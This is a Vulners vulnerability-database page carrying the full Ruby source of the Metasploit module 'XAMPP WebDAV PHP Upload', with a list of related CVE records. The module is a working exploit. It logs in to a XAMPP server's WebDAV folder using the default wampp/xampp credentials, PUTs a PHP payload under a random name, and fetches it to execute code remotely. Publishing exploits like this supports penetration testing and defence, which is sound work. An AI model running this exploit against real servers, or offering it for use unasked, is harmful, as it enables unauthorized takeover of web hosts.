Lucene search
+L

XAMPP - WebDAV PHP Upload (Metasploit)

🗓️ 14 Jan 2012 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

XAMPP WebDAV PHP Upload. Exploits weak WebDAV passwords on XAMPP servers to upload and execute PHP payloa

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2012-10062
30 Aug 202513:57
–attackerkb
circl
Circl
CVE-2012-10062
29 May 201815:50
–circl
cnnvd
CNNVD
XAMPP security vulnerabilities
30 Aug 202500:00
–cnnvd
cve
CVE
CVE-2012-10062
30 Aug 202513:57
–cve
cvelist
Cvelist
CVE-2012-10062 XAMPP WebDAV PHP Upload Authentication Bypass RCE
30 Aug 202513:57
–cvelist
euvd
EUVD
EUVD-2012-6608
7 Oct 202500:30
–euvd
metasploit
Metasploit
WebDAV PHP Upload
14 Jan 201200:00
–metasploit
nvd
NVD
CVE-2012-10062
30 Aug 202514:15
–nvd
openvas
OpenVAS
XAMPP WebDAV PHP Upload Vulnerability (Jan 2012) - Active Check
17 Jan 201200:00
–openvas
packetstorm
Packet Storm
📄 WebDAV PHP Upload
22 Apr 202600:00
–packetstorm
Rows per page
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'XAMPP WebDAV PHP Upload',
			'Description'    => %q{
					This module exploits weak WebDAV passwords on XAMPP servers.
					It uses supplied credentials to upload a PHP payload and
					execute it.
			},
			'Author'      => ['thelightcosine <thelightcosine[at]metasploit.com'],
			'Version'     => '$Revision$',
			'Platform'    => 'php',
			'Arch'        => ARCH_PHP,
			'Targets'     =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
		)

		register_options(
			[
				OptString.new('PATH', [ true,  "The path to attempt to upload", '/webdav/']),
				OptString.new('FILENAME', [ false ,  "The filename to give the payload. (Leave Blank for Random)"]),
				OptString.new('RUSER', [ true,  "The Username to use for Authentication", 'wampp']),
				OptString.new('RPASS', [ true,  "The Password to use for Authentication", 'xampp'])
			], self.class)
	end



	def exploit
		uri = build_path
		print_status "Uploading Payload to #{uri}"
		res,c = send_digest_request_cgi({
					'uri'     => uri,
					'method'  => 'PUT',
					'data'	=> payload.raw,
					'DigestAuthUser' => datastore['RUSER'],
					'DigestAuthPassword' => datastore['RPASS']
				}, 25)
		unless (res.code == 201)
			print_error "Failed to upload file!"
			return
		end
		print_status "Attempting to execute Payload"
		res = send_request_cgi({
			'uri'          =>  uri,
			'method'       => 'GET'
		}, 20)
	end



	def build_path
		if datastore['PATH'][0,1] == '/'
			uri_path = datastore['PATH'].dup
		else
			uri_path = '/' + datastore['PATH'].dup
		end
		uri_path << '/' unless uri_path.ends_with?('/')
		if datastore['FILENAME']
			uri_path << datastore['FILENAME']
			uri_path << '.php' unless uri_path.ends_with?('.php')
		else
			uri_path << Rex::Text.rand_text_alphanumeric(7)
			uri_path << '.php'
		end
		return uri_path
	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 48.7
EPSS0.02046
SSVC
43